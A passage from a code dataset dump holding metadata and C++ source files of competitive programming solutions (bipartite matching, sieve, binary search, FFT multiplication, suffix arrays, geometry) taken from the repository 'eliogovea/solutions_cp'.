{\r\n\t\t\t\t\tgraph[i].push_back(j);\r\n\t\t\t\t\tgraphV[j].push_back(i);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tmatchV[i] = -1;\r\n\t\t}\r\n\t\tfor (int i = 0; i < nv; i++) {\r\n\t\t\tmatchH[i] = -1;\r\n\t\t}\r\n\t\tint maxMatch = 0;\r\n\t\tfor (int i = 0; i < nh; i++) {\r\n\t\t\tid++;\r\n\t\t\tif (dfs(i)) {\r\n\t\t\t\tmaxMatch++;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 0; i < nh; i++) {\r\n\t\t\tmatchV[i] = -1;\r\n\t\t}\r\n\t\tfor (int i = 0; i < nv; i++) {\r\n\t\t\tif (matchH[i] != -1) {\r\n\t\t\t\tmatchV[matchH[i]] = i;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 0; i < nh; i++) {\r\n\t\t\tmarkH[i] = false;\r\n\t\t\tpossibleH[i] = false;\r\n\t\t}\r\n\t\tfor (int i = 0; i < nv; i++) {\r\n\t\t\tmarkV[i] = false;\r\n\t\t\tpossibleV[i] = false;\r\n\t\t}\r\n\r\n\t\tfor (int h = 0; h < nh; h++) {\r\n\t\t\tif (matchV[h] != -1) {\r\n\t\t\t\tpossibleH[h] = true;\r\n\t\t\t\tpossibleV[matchV[h]] = true;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\twhile (true) {\r\n\t\t\tbool change = false;\r\n\t\t\tfor (int h = 0; h < nh; h++) {\r\n\t\t\t\tif (matchV[h] == -1 || possibleH[h] == false) {\r\n\t\t\t\t\tfor (int i = 0; i < graph[h].size(); i++) {\r\n\t\t\t\t\t\tint v = graph[h][i];\r\n\t\t\t\t\t\tassert(matchH[v] != -1);\r\n\t\t\t\t\t\tif (possibleH[matchH[v]]) {\r\n\t\t\t\t\t\t\tpossibleH[matchH[v]] = false;\r\n\t\t\t\t\t\t\tchange = true;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tfor (int v = 0; v < nv; v++) {\r\n\t\t\t\tif (matchH[v] == -1 || possibleV[v] == false) {\r\n\t\t\t\t\tfor (int i = 0; i < graphV[v].size(); i++) {\r\n\t\t\t\t\t\tint h = graphV[v][i];\r\n\t\t\t\t\t\tassert(matchV[h] != -1);\r\n\t\t\t\t\t\tif (possibleV[matchV[h]]) {\r\n\t\t\t\t\t\t\tpossibleV[matchV[h]] = false;\r\n\t\t\t\t\t\t\tchange = true;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (!change) {\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n /*\r\n\t\tcout << \"H:\\n\";\r\n\t\tfor (int i = 0; i < nh; i++) {\r\n cout << i << \" \" << xh[i] << \" \" << yh[i] << \" \" << lh[i] << \"\\n\";\r\n\t\t}\r\n\t\tcout << \"\\n\";\r\n\r\n\t\tcout << \"V:\\n\";\r\n\t\tfor (int i = 0; i < nv; i++) {\r\n cout << i << \" \" << xv[i] << \" \" << yv[i] << \" \" << lv[i] << \"\\n\";\r\n\t\t}\r\n\t\tcout << \"\\n\";\r\n\r\n\t\tcout << \"Edges:\\n\";\r\n\t\tfor (int h = 0; h < nh; h++) {\r\n for (int i = 0; i < graph[h].size(); i++) {\r\n int v = graph[h][i];\r\n cout << h << \" \" << v << \"\\n\";\r\n }\r\n\t\t}\r\n\t\tcout << \"\\n\";\r\n\r\n\t\tcout << \"Match:\\n\";\r\n\t\tfor (int i = 0; i < nh; i++) {\r\n if (matchV[i] != -1) {\r\n cout << i << \" \" << matchV[i] << \"\\n\";\r\n }\r\n\t\t}\r\n\t\tcout << \"\\n\";\r\n\r\n\t\t*/\r\n\r\n\t\tcout << maxMatch << \"\\n\";\r\n\r\n\t\tint count = 0;\r\n\r\n\t\tfor (int h = 0; h < nh; h++) {\r\n\t\t\tif (possibleH[h]) {\r\n possibleV[matchV[h]] = false;\r\n\t\t\t\tcout << \"hline \" << xh[h] + 1 << \" \" << yh[h] + 1 << \" \" << yh[h] + lh[h] - 1 + 1 << \"\\n\";\r\n\t\t\t\tcount++;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tfor (int v = 0; v < nv; v++) {\r\n\t\t\tif (possibleV[v]) {\r\n\t\t\t\tcout << \"vline \" << yv[v] + 1 << \" \" << xv[v] + 1 << \" \" << xv[v] + lv[v] - 1 + 1 << \"\\n\";\r\n\t\t\t\tcount++;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tassert(count == maxMatch);\r\n\t}\r\n}" }, { "alpha_fraction": 0.40145984292030334, "alphanum_fraction": 0.4321167767047882, "avg_line_length": 20.09677505493164, "blob_id": "527a26cd3d81ba9644046342341f7e31789423a8", "content_id": "f9b9488b1fc30a907a06f58e5e96f7476fdbfe38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 685, "license_type": "no_license", "max_line_length": 53, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p2720-Accepted-s624085.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1000;\r\n\r\nbool criba[MAXN + 5];\r\nint mark[MAXN + 5];\r\nvector<int> p;\r\nvoid Criba() {\r\n\tfor (int i = 2; i * i <= MAXN; i++)\r\n\t\tif (!criba[i])\r\n\t\t\tfor (int j = i * i; j <= MAXN; j += i)\r\n\t\t\t\tcriba[j] = 1;\r\n\r\n\tp.push_back(2);\r\n\tfor (int i = 3; i <= MAXN; i += 2)\r\n\t\tif (!criba[i]) p.push_back(i);\r\n\r\n for (int i = 1; p[i] + p[i - 1] + 1 <= MAXN; i++)\r\n if (!criba[ p[i] + p[i - 1] + 1 ])\r\n mark[p[i] + p[i - 1] + 1] = 1;\r\n\tfor (int i = 2; i <= MAXN; i++)\r\n\t\tmark[i] += mark[i - 1];\r\n}\r\nint n, k;\r\n\r\nint main() {\r\n\tCriba();\r\n\tscanf(\"%d%d\", &n, &k);\r\n\tprintf(\"%s\\n\", (mark[n] >= k) ? \"YES\" : \"NO\");\r\n}\r\n" }, { "alpha_fraction": 0.37519872188568115, "alphanum_fraction": 0.4165341854095459, "avg_line_length": 13.581395149230957, "blob_id": "4fb8b1e938fe582051f328d4f3c24696e9ef1aa2", "content_id": "be110d69b952e30e9df81da5fd095dacb16b8b78", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 629, "license_type": "no_license", "max_line_length": 32, "num_lines": 43, "path": "/SPOJ/AGGRCOW.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \nconst int N = 100005;\n \nint t;\nint n, c;\nint x[N];\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n >> c;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> x[i];\n\t\t}\n\t\tsort(x, x + n);\n\t\tint lo = 1;\n\t\tint hi = 1000000000;\n\t\tint ans = 0;\n\t\twhile (lo <= hi) {\n\t\t\tint mid = (lo + hi) >> 1;\n\t\t\tint last = 0;\n\t\t\tint cc = 1;\n\t\t\tfor (int i = 1; i < n; i++) {\n\t\t\t\tif (x[i] - x[last] >= mid) {\n\t\t\t\t\tcc++;\n\t\t\t\t\tlast = i;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (cc >= c) {\n\t\t\t\tans = mid;\n\t\t\t\tlo = mid + 1;\n\t\t\t} else {\n\t\t\t\thi = mid - 1;\n\t\t\t}\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n}\n \n" }, { "alpha_fraction": 0.3957219123840332, "alphanum_fraction": 0.4224599003791809, "avg_line_length": 14.260869979858398, "blob_id": "808ae2488eb5ee09ac404bc63c6c1e541d301653", "content_id": "1248d5695cb5ac96746f68f7ebd990ed0c4ac021", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 374, "license_type": "no_license", "max_line_length": 52, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p1181-Accepted-s554912.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#define MAXN 55\r\n\r\nint n,mx,male[MAXN],female[MAXN];\r\n\r\nint main()\r\n{\r\n\tfemale[0] = 1;\r\n\r\n\twhile( scanf( \"%d\", &n ) && n != -1 )\r\n\t{\r\n\t\tif( n > mx )\r\n\t\t{\r\n\t\t\tfor( int i = mx + 1; i <= n; i++ )\r\n\t\t\t{\r\n\t\t\t\tmale[i] = female[i-1] + male[i-1];\r\n\t\t\t\tfemale[i] = male[i-1] + 1;\r\n\t\t\t}\r\n\t\t\tmx = n;\r\n\t\t}\r\n\t\tprintf( \"%d %d\\n\", male[n], male[n] + female[n] );\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.34466350078582764, "alphanum_fraction": 0.36573758721351624, "avg_line_length": 18.43055534362793, "blob_id": "b2fe2b61ba2eeb8412b7ab4cbcf8e7ed985a47c5", "content_id": "5f416be7b4556eee005294784dcb872184f62f8b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2942, "license_type": "no_license", "max_line_length": 91, "num_lines": 144, "path": "/Caribbean-Training-Camp-2017/Contest_4/Solutions/F4-1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 310;\r\n\r\nint n1, n2;\r\n\r\nvector<int> g[MAXN];\r\nbool mk[MAXN];\r\nint from[MAXN];\r\nint go[MAXN];\r\n\r\nbool dfs_kuhn( int u ){\r\n if( mk[u] ){\r\n return false;\r\n }\r\n\r\n mk[u] = true;\r\n\r\n for( int v : g[u] ){\r\n if( !from[v] || dfs_kuhn( from[v] ) ){\r\n go[u] = v;\r\n from[v] = u;\r\n return true;\r\n }\r\n }\r\n\r\n return false;\r\n}\r\n\r\nint kuhn(){\r\n int matching_sz = 0;\r\n for( int u = 1; u <= n1; u++ ){\r\n fill( mk , mk + 1 + n1 , false );\r\n if( dfs_kuhn(u) ){\r\n matching_sz++;\r\n }\r\n }\r\n\r\n return matching_sz;\r\n}\r\n\r\n/////////// MINIMUM VERTEX COVER ON BIPARTITE GRAPH\r\n\r\nbool min_cover1[MAXN];\r\nbool min_cover2[MAXN];\r\nint cola[2*MAXN];\r\n\r\nint min_cover(){\r\n int enq = 0, deq = 0;\r\n\r\n fill( min_cover1 , min_cover1 + n1 + 1 , false );\r\n fill( from , from + n2 + 1 , 0 );\r\n fill( min_cover2 , min_cover2 + n2 + 1 , 0 );\r\n\r\n int max_matching = kuhn();\r\n\r\n for(int i = 1; i <= n2; i++){\r\n if( from[i] ){\r\n min_cover1[ from[i] ] = true;\r\n }\r\n }\r\n\r\n for(int i = 1; i <= n1; i++){\r\n if( !min_cover1[i] ){\r\n cola[enq++] = i;\r\n }\r\n }\r\n\r\n while( deq < enq ){\r\n int u = cola[deq++];\r\n for( int i = 0; i < g[u].size(); i++ ){\r\n int v = g[u][i];\r\n\r\n if( from[v] ){\r\n min_cover2[v] = true;\r\n if( min_cover1[ from[v] ] ){\r\n cola[enq++] = from[v];\r\n min_cover1[ from[v] ] = false;\r\n }\r\n }\r\n }\r\n }\r\n\r\n int mnv = 0;\r\n for( int i = 1; i <= n1; i++ ){//el vertice i del grupo_1 pertenece al min_vertex_cover\r\n if( min_cover1[i] ){\r\n mnv++;\r\n }\r\n }\r\n for( int i = 1; i <= n2; i++ ){\r\n if( min_cover2[i] ){//el vertice i del grupo_2 pertenece al min_vertex_cover\r\n mnv++;\r\n }\r\n }\r\n\r\n return mnv;\r\n}\r\n\r\nint main(){\r\n ios::sync_with_stdio(0);\r\n cin.tie(0);\r\n\r\n //freopen(\"dat.txt\",\"r\",stdin);\r\n\r\n cin >> n1 >> n2;\r\n\r\n for( int u = 1; u <= n1; u++ ){\r\n int c; cin >> c;\r\n while( c-- ){\r\n int v; cin >> v;\r\n g[u].push_back(v);\r\n }\r\n }\r\n\r\n min_cover();\r\n\r\n fill( mk , mk + n2 + 1 , false );\r\n int s = 0;\r\n vector<int> sol;\r\n for( int u = 1; u <= n1; u++ ){\r\n if( !min_cover1[u] ){\r\n s++;\r\n sol.push_back(u);\r\n for( int v : g[u] ){\r\n if( !mk[v] ){\r\n mk[v] = true;\r\n s--;\r\n }\r\n }\r\n }\r\n }\r\n\r\n if( s < 0 ){\r\n cout << \"0\\n\";\r\n }\r\n else{\r\n cout << sol.size() << '\\n';\r\n for( int i = 0; i < sol.size(); i++ ){\r\n cout << sol[i] << \" \\n\"[i+1 == sol.size()];\r\n }\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.2977243959903717, "alphanum_fraction": 0.3166877329349518, "avg_line_length": 16.977272033691406, "blob_id": "8ae9379ae50898b0d0a6935f69cd19a5475d536f", "content_id": "5d3ec19b74324360bb8d8f111ba4071acbbb27af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1582, "license_type": "no_license", "max_line_length": 49, "num_lines": 88, "path": "/Caribbean-Training-Camp-2018/Contest_2/Solutions/G2.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nint phi(int n) {\n int res = n;\n for (int i = 2; i * i <= n; i++) {\n if (n % i == 0) {\n res -= res / i;\n while (n % i == 0) {\n n /= i;\n }\n }\n }\n if (n > 1) {\n res -= res / n;\n }\n return res;\n}\n\nint cnt(int n) {\n int res = 1;\n for (int i = 2; i * i <= n; i++) {\n if (n % i == 0) {\n int e = 0;\n while (n % i == 0) {\n e++;\n n /= i;\n }\n res *= (e + 1);\n }\n }\n if (n > 1) {\n res *= 2;\n }\n return res;\n}\n\nLL sum(int n) {\n LL res = 1;\n for (int i = 2; i * i <= n; i++) {\n if (n % i == 0) {\n LL p = 1;\n while (n % i == 0) {\n p *= (LL)i;\n n /= i;\n }\n res *= ((LL)p * i - 1LL) / (i - 1LL);\n }\n }\n if (n > 1) {\n res *= (1LL + (LL)n);\n }\n return res;\n}\n\ninline int power(int x, int n, int m) {\n int y = 1;\n while (n) {\n if (n & 1) {\n y = (long long)y * x % m;\n }\n x = (long long)x * x % m;\n n >>= 1;\n }\n return y;\n}\n\nint inverse(int x, int n) {\n if (__gcd(x, n) != 1) {\n return -1;\n }\n int p = phi(n);\n int ix = power(x, p - 1, n);\n assert(((long long)x * ix % n) == 1);\n return power(x, p - 1, n);\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n int n, m;\n cin >> n >> m;\n cout << inverse(n, m) << \"\\n\";\n}\n" }, { "alpha_fraction": 0.31406158208847046, "alphanum_fraction": 0.33788496255874634, "avg_line_length": 19.987804412841797, "blob_id": "0fcdddcd5f570d6083b4b282c8edd917be383fb7", "content_id": "b400cc8da02e5352784f045b0cdf8c6c04552bd8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3442, "license_type": "no_license", "max_line_length": 116, "num_lines": 164, "path": "/Caribbean-Training-Camp-2018/Contest_4/Solutions/D4.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\nusing namespace std;\ntypedef long long ll;\ntypedef complex<long double> Complex;\nconst double PI = acos(-1);\n\nvoid fft( vector<Complex> &a, int n, int dir ){\n\n int lg = 0;\n while( n > (1<<lg) ) lg++;\n\n assert( n == (1<<lg) );\n\n for( int i = 0; i < n; i++ ){\n int pos = 0;\n for( int j = 0; j < lg; j++ ){\n pos <<= 1;\n pos |= (i>>j) & 1;\n }\n\n if( i < pos ){\n swap( a[i], a[pos] );\n }\n }\n\n for( int i = 1; i <= lg; i++ ){\n\n int m = 1<<i;\n int k = m>>1;\n Complex w, wn, u, t;\n wn = Complex( cos( (long double)dir*2.0*PI/(long double)m), sin( (long double)dir*2.0*PI/(long double)m ) );\n\n for( int j = 0; j < n; j += m ){\n w = Complex( 1.0, 0.0 );\n for( int l = j; l < j+k; l++ ){\n t = w*a[l+k];\n u = a[l];\n a[l] = u + t;\n a[l+k] = u - t;\n w *= wn;\n }\n }\n\n }\n if( dir == -1 ){\n for( int i = 0; i < n; i++ ){\n a[i] /= (long double)n;\n\n }\n\n }\n\n}\n\nint B = 1000;\nint D = 2;\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n //freopen( \"dat.txt\", \"r\", stdin );\n\n string a, b;\n cin >> a >> b;\n\n int siga = 1, sigb = 1;\n\n if( a[0] == '-' ){\n siga = -1;\n a = a.substr( 1, a.size()-1 );\n }\n if( a[0] == '+' ){\n siga = 1;\n a = a.substr( 1, a.size()-1 );\n }\n\n if( b[0] == '-' ){\n sigb = -1;\n b = b.substr( 1, b.size()-1 );\n }\n if( b[0] == '+' ){\n sigb = 1;\n b = b.substr( 1, b.size()-1 );\n }\n\n\n vector<Complex> P, Q;\n for( int i = a.size()-1; i >= 0; ){\n int num = 0;\n for( int j = i-D; j <= i; j++ ){\n if( j >= 0 ){\n num *= 10;\n num += a[j] - '0';\n }\n }\n P.push_back( num );\n i -= D+1;\n\n }\n /*cerr << \"p:\";\n for( auto e: P )\n cerr << e << \" \";\n cerr << endl;*/\n for( int i = b.size()-1; i >= 0; ){\n int num = 0;\n for( int j = i-D; j <= i; j++ ){\n if( j >= 0 ){\n num *= 10;\n num += b[j] - '0';\n }\n }\n Q.push_back(num);\n i-= D+1;\n }\n /*cerr << \"q:\";\n for( auto e: Q )\n cerr << e << \" \";\n cerr << endl;*/\n\n\n int fftn = 1;\n int n = Q.size() + P.size();\n while( n > (fftn) ) fftn <<= 1;\n P.resize( fftn );\n Q.resize( fftn );\n fft( Q, fftn, 1 );\n\n fft( P, fftn, 1 );\n\n for( int i = 0; i < P.size(); i++ )\n P[i] *= Q[i];\n\n fft( P, fftn, -1 );\n vector<ll> ans;\n for( int i = 0; i < P.size(); i++ )\n ans.push_back( round( P[i].real() ) );\n\n for( int i = 0; i < ans.size(); i++ ){\n if( ans[i] >= B ){\n if( i+1 == ans.size() ){\n ans.push_back( ans[i]/B );\n }\n else ans[i+1] += ans[i]/B;\n ans[i] %= B;\n }\n\n }\n while( ans.size() && ans.back() == 0 ) ans.pop_back();\n reverse( ans.begin(), ans.end() );\n if( ans.size() == 0 ){\n printf(\"0\\n\");\n return 0;\n }\n\n if( siga != sigb )\n printf( \"-\" );\n for( int i = 0; i < ans.size(); i++ ){\n if( i == 0 )\n printf( \"%lld\", ans[i] );\n else{\n printf( \"%03lld\", ans[i] );\n }\n }\n printf( \"\\n\" );\n}\n" }, { "alpha_fraction": 0.3381790220737457, "alphanum_fraction": 0.3691660165786743, "avg_line_length": 15.543623924255371, "blob_id": "155981e837400d3d0a90f0cc72f27252934070db", "content_id": "8dfc7e7403823172e6992027368939346b4d9698", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2614, "license_type": "no_license", "max_line_length": 54, "num_lines": 149, "path": "/COJ/eliogovea-cojAC/eliogovea-p2518-Accepted-s1035924.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 50005;\r\nconst int ALPH = 256;\r\nint n;\r\nstring s;\r\nint L[MAXN], R[MAXN];\r\nint st[MAXN], top;\r\nint p[MAXN], pn[MAXN], c[MAXN], cn[MAXN];\r\nint cnt[ALPH];\r\nint lcp[MAXN], pos[MAXN];\r\n\r\nvoid BuildSuffixArray() {\r\n\tn = s.size();\r\n\tn++;\r\n\tfor (int i = 0; i < ALPH; i++) {\r\n\t\tcnt[i] = 0;\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcnt[s[i]]++;\r\n\t}\r\n\tfor (int i = 1; i < ALPH; i++) {\r\n\t\tcnt[i] += cnt[i - 1];\r\n\t}\r\n\tfor (int i = n - 1; i >= 0; i--) {\r\n\t\tp[--cnt[s[i]]] = i;\r\n\t}\r\n\tc[p[0]] = 0;\r\n\tint classes = 1;\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tif (s[p[i]] != s[p[i - 1]]) {\r\n\t\t\tclasses++;\r\n\t\t}\r\n\t\tc[p[i]] = classes - 1;\r\n\t}\r\n\tfor (int h = 0; (1 << h) < n; h++) {\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tpn[i] = p[i] - (1 << h);\r\n\t\t\tif (pn[i] < 0) {\r\n\t\t\t\tpn[i] += n;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 0; i < classes; i++) {\r\n\t\t\tcnt[i] = 0;\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcnt[c[pn[i]]]++;\r\n\t\t}\r\n\t\tfor (int i = 1; i < classes; i++) {\r\n\t\t\tcnt[i] += cnt[i - 1];\r\n\t\t}\r\n\t\tfor (int i = n - 1; i >= 0; i--) {\r\n\t\t\tp[--cnt[c[pn[i]]]] = pn[i];\r\n\t\t}\r\n\t\tcn[p[0]] = 0;\r\n\t\tclasses = 1;\r\n\t\tfor (int i = 1; i < n; i++) {\r\n\t\t\tint mid1 = (p[i] + (1 << h)) % n;\r\n\t\t\tint mid2 = (p[i - 1] + (1 << h)) % n;\r\n\t\t\tif (c[p[i]] != c[p[i - 1]] || c[mid1] != c[mid2]) {\r\n\t\t\t\tclasses++;\r\n\t\t\t}\r\n\t\t\tcn[p[i]] = classes - 1;\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tc[i] = cn[i];\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tp[i - 1] = p[i];\r\n\t}\r\n\tn--;\r\n}\r\n\r\nvoid BuildLCP() {\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tpos[p[i]] = i;\r\n\t}\r\n\tint k = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (k > 0) {\r\n\t\t\tk--;\r\n\t\t}\r\n\t\tif (pos[i] == n - 1) {\r\n\t\t\tlcp[n - 1] = 0;\r\n\t\t\tk = 0;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tint j = p[pos[i] + 1];\r\n\t\twhile (s[i + k] == s[j + k]) {\r\n\t\t\tk++;\r\n\t\t}\r\n\t\tlcp[pos[i]] = k;\r\n\t}\r\n}\r\n\r\n\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> s;\r\n\tBuildSuffixArray();\r\n\tBuildLCP();\r\n\r\n\tfor (int i = 0; i < n - 1; i++) {\r\n\t\tL[i] = -1;\r\n\t\tR[i] = n - 1;\r\n\t}\r\n\r\n\ttop = 0;\r\n\tfor (int i = 0; i < n - 1; i++) {\r\n\t\twhile (top > 0 && lcp[st[top - 1]] > lcp[i]) {\r\n\t\t\tR[st[top - 1]] = i;\r\n\t\t\ttop--;\r\n\t\t}\r\n\t\tst[top++] = i;\r\n\t}\r\n\r\n\ttop = 0;\r\n\tfor (int i = n - 2; i >= 0; i--) {\r\n\t\twhile (top > 0 && lcp[st[top - 1]] > lcp[i]) {\r\n\t\t\tL[st[top - 1]] = i;\r\n\t\t\ttop--;\r\n\t\t}\r\n\t\tst[top++] = i;\r\n\t}\r\n\r\n\tint maxF = 0;\r\n\tint ansS = -1;\r\n\tint ansL = -1;\r\n\r\n\tfor (int i = 0; i < n - 1; i++) {\r\n\t\tint f = lcp[i] * (R[i] - L[i]);\r\n\t\tif (f > maxF) {\r\n\t\t\tmaxF = f;\r\n\t\t\tansS = p[i];\r\n\t\t\tansL = lcp[i];\r\n\t\t}\r\n\t}\r\n\r\n\tcout << maxF << \"\\n\";\r\n\tif (maxF != 0) {\r\n\t\tcout << s.substr(ansS, ansL) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3860640227794647, "alphanum_fraction": 0.4030131697654724, "avg_line_length": 23.285715103149414, "blob_id": "68f3714eb72e87c64f53c1cf8cb39bcee8a872fb", "content_id": "d54011aa96424a7ad1fa2e29c6dc2214fdbe5b0c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 531, "license_type": "no_license", "max_line_length": 54, "num_lines": 21, "path": "/COJ/eliogovea-cojAC/eliogovea-p2900-Accepted-s620084.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <string>\r\n#include <iostream>\r\nusing namespace std;\r\n\r\nstring str, aux, mn;\r\nint main()\r\n{\r\n for (int i = 0; i <= 50; i++) mn += \"z\";\r\n cin >> str;\r\n int s = str.size();\r\n for (int i = 0; i < s - 2; i++)\r\n for (int j = i + 1; j < s - 1; j++) {\r\n aux = \"\";\r\n for (int k = i; k >= 0; k--) aux += str[k];\r\n for (int k = j; k > i; k--) aux += str[k];\r\n for (int k = s - 1; k > j; k--) aux += str[k];\r\n mn = min(mn, aux);\r\n }\r\n cout << mn << endl;\r\n}\r\n" }, { "alpha_fraction": 0.39302507042884827, "alphanum_fraction": 0.4098746180534363, "avg_line_length": 21.990991592407227, "blob_id": "05313759d9d4037ede07d783749bbe794bdd6a44", "content_id": "b74e57a81e091761ba665c7aa6bf3740ec1495c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2552, "license_type": "no_license", "max_line_length": 107, "num_lines": 111, "path": "/Codeforces-Gym/100960 - 2015-2016 Petrozavodsk Winter Training Camp, Nizhny Novgorod SU Contest/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015-2016 Petrozavodsk Winter Training Camp, Nizhny Novgorod SU Contest\n// 100960F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nstruct pt {\n LL x, y;\n pt() {}\n pt(LL _x, LL _y) : x(_x), y(_y) {}\n};\n\npt operator - (const pt &a, const pt &b) {\n return pt(a.x - b.x, a.y - b.y);\n}\n\nLL dot(const pt &a, const pt &b) {\n return a.x * b.x + a.y * b.y;\n}\n\nLL cross(const pt &a, const pt &b) {\n return a.x * b.y - a.y * b.x;\n}\n\nLL dist2(const pt &a, const pt &b) {\n LL dx = a.x - b.x;\n LL dy = a.y - b.y;\n return dx * dx + dy * dy;\n}\n\nbool check(pt P, pt Q, pt R, LL lm, LL lg) {\n LL D = dist2(P, Q);\n if (D > 2LL * lg * 2LL * lg) {\n return false;\n }\n if (dot(P - Q, R - Q) >= 0LL && dot(P - Q, R - Q) * dot(P - Q, R - Q) > dist2(Q, P) * lg * lg) {\n return false;\n }\n swap(P, Q);\n if (dot(P - Q, R - Q) >= 0LL && dot(P - Q, R - Q) * dot(P - Q, R - Q) > dist2(Q, P) * lg * lg) {\n return false;\n }\n if (cross(P - Q, R - Q) * cross(P - Q, R - Q) > lm * lm * dist2(Q, P)) {\n return false;\n }\n return true;\n}\n\nbool check2(pt P, pt Q, pt R, LL lm, LL lg) {\n if (dist2(P, Q) > lm * lm) {\n return false;\n }\n if (dot(P - Q, R - Q) <= 0LL) {\n return false;\n }\n\n if (dot(P - Q, R - Q) < dist2(P, Q)) {\n return false;\n }\n if (dot(P - Q, R - Q) * dot(P - Q, R - Q) > dist2(P, Q) * lm * lm) {\n return false;\n }\n if (cross(P - Q, R - Q) * cross(P - Q, R - Q) > dist2(P, Q) * lg * lg) {\n return false;\n }\n return true;\n}\n\n\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int t;\n LL lm, lg;\n pt P, Q, R;\n\n cin >> t;\n while (t--) {\n cin >> lm >> lg;\n cin >> P.x >> P.y >> Q.x >> Q.y >> R.x >> R.y;\n\n if (cross(Q - P, R - P) == 0LL) {\n if (max(dist2(P, Q), max(dist2(Q, R), dist2(R, P))) <= max(lm, 2LL * lg) * max(lm, 2LL * lg)) {\n cout << \"YES\\n\";\n } else {\n cout << \"NO\\n\";\n }\n continue;\n }\n\n if (check2(P, Q, R, lm, lg) || check2(Q, P, R, lm, lg) ||\n check2(Q, R, P, lm, lg) || check2(R, Q, P, lm, lg) ||\n check2(P, R, Q, lm, lg) || check2(R, P, Q, lm, lg)) {\n cout << \"YES\\n\";\n continue;\n }\n\n if (check(P, Q, R, lm, lg) || check(P, R, Q, lm, lg) || check(Q, R, P, lm, lg)) {\n cout << \"YES\\n\";\n } else {\n cout << \"NO\\n\";\n }\n }\n}\n" }, { "alpha_fraction": 0.3368055522441864, "alphanum_fraction": 0.3680555522441864, "avg_line_length": 13.1578950881958, "blob_id": "d89afd4b3a40a7ecd42b205789f59370144fbcb5", "content_id": "376a1b4863a356b994f557ccfb1e75e51454fe19", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 288, "license_type": "no_license", "max_line_length": 40, "num_lines": 19, "path": "/COJ/eliogovea-cojAC/eliogovea-p1180-Accepted-s554911.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nconst int corr[] = { 1, 1, 2, 2, 2, 8 };\r\n\r\nint n,x;\r\n\r\nint main()\r\n{\r\n\tfor( scanf( \"%d\", &n ); n--; )\r\n\t{\r\n\t\tfor( int i 